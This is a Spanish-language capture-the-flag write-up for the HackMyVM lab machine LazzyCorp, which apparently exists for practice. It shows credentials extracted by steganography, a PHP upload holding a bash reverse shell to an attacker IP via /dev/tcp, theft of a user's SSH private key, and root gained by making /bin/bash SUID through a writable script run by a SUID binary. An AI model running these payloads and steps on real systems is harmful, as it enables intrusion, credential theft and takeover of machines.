cd ~/blog

~/writeups/hmv/138-lazzycorp.md

138 - LazzyCorp

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Credential Disclosure mediante SteganographyAuthenticated Unrestricted File Upload RCESUID Binary Abuse con Writable Privileged Executable File
hackmyvm.eu/machines/machine.php?vm=LazzyCorp

~1 min de lectura


Enumeración y recuperación de credenciales

Enumeramos puertos:

❯ nmap -sCV -p 21,22,80 -oN 02-targeted.txt 172.24.125.220
...
21/tcp open  ftp     vsftpd 3.0.5
|_drwxr-xr-x    2 114      119          4096 Jul 16 12:35 pub
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: LazyCorp | Empowering Devs
| http-robots.txt: 2 disallowed entries
|_/cms-admin.php /auth-LazyCorp-dev/
...

El FTP anónimo permite descargar note.jpg. stegseek detecta contenido incrustado sin passphrase y extrae creds.txt, que contiene credenciales para la aplicación web:

❯ stegseek -wl ~/Documents/wordlists/rockyou.txt note.jpg
[i] Found passphrase: ""
[i] Original filename: "creds.txt".

❯ cat note.jpg.out
Username: dev
Password: d3v3l0pm3nt!nt3rn

Acceso inicial mediante Unrestricted File Upload

robots.txt revela /auth-LazyCorp-dev/, accesible en minúsculas. Las credenciales extraídas permiten entrar en login.php y alcanzar un formulario de subida. La aplicación acepta PHP dentro del directorio servido por Apache, por lo que el Unrestricted File Upload permite convertir el archivo cargado en ejecución de comandos:

❯ cat pwned.php
<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/172.24.125.35/1234 0>&1'");
?>

Solicitamos el archivo desde /auth-lazycorp-dev/uploads/pwned.php; Apache interpreta el PHP y recibimos la conexión como www-data:

❯ ncat -nlvp 1234
Ncat: Connection from 172.24.125.220:46838.
www-data@arvindlazycorp:/var/www/html/auth-lazycorp-dev/uploads$

Desde esa cuenta podemos leer la clave privada SSH de arvind. La copiamos a nuestra máquina y la utilizamos para iniciar una sesión con su identidad:

www-data@arvindlazycorp:/home/arvind/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...

❯ ssh arvind@172.24.125.220 -i id_rsa_arvind
arvind@arvindlazycorp:~$

Escalada mediante un script privilegiado escribible

Después de obtener la primera flag, encontramos el binario SUID reset. El análisis muestra que fija su UID en 0 y ejecuta /usr/bin/reset_site.sh, así que cualquier instrucción añadida al script heredará el contexto privilegiado del binario:

undefined8 main(void)
{
  setuid(0);
  system("/usr/bin/reset_site.sh");
  return 0;
}

El script pertenece a root, pero el grupo de arvind tiene escritura. Esta combinación de SUID Binary Abuse y Writable Privileged Executable File permite añadir un chmod u+s /bin/bash y activar el cambio ejecutando reset:

arvind@arvindlazycorp:~$ ls -l /usr/bin/reset_site.sh
-rwxrwxr-x 1 root arvind 254 Jul  9 10:26 /usr/bin/reset_site.sh

arvind@arvindlazycorp:~$ echo 'chmod u+s /bin/bash' >> /usr/bin/reset_site.sh
arvind@arvindlazycorp:~$ ./reset
[*] Resetting website from backup...
[+] Done resetting.

arvind@arvindlazycorp:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash

arvind@arvindlazycorp:~$ bash -p
bash-5.0# whoami
root

La salida de whoami confirma que bash -p conserva los privilegios de root.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados